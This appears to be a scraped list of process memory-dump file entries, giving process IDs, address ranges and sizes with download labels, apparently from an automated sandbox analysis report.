memory/1588-109-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/1652-97-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/1736-94-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/1872-107-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/2268-105-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/2528-99-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/2768-110-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/2892-101-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3500-46-0x0000000001DF0000-0x0000000001E1A000-memory.dmp

Filesize
168KB

Download
memory/3500-93-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3512-100-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download
memory/3564-141-0x0000015226470000-0x0000015226478000-memory.dmp

Filesize
32KB

Download
memory/4056-0-0x00007FFF334F3000-0x00007FFF334F5000-memory.dmp

Filesize
8KB

Download
memory/4056-16-0x0000022A47530000-0x0000022A47564000-memory.dmp

Filesize
208KB

Download
memory/4056-96-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

Filesize
10.8MB

Download
memory/4056-15-0x0000022A47170000-0x0000022A47178000-memory.dmp

Filesize
32KB

Download
memory/4056-14-0x0000022A475B0000-0x0000022A47626000-memory.dmp

Filesize
472KB

Download
memory/4056-13-0x0000022A474E0000-0x0000022A47524000-memory.dmp

Filesize
272KB

Download
memory/4056-12-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

Filesize
10.8MB

Download
memory/4056-7-0x00007FFF334F0000-0x00007FFF33FB1000-memory.dmp

Filesize
10.8MB

Download
memory/4056-6-0x0000022A47110000-0x0000022A47132000-memory.dmp

Filesize
136KB

Download
memory/5004-106-0x00007FFF115F0000-0x00007FFF11600000-memory.dmp

Filesize
64KB

Download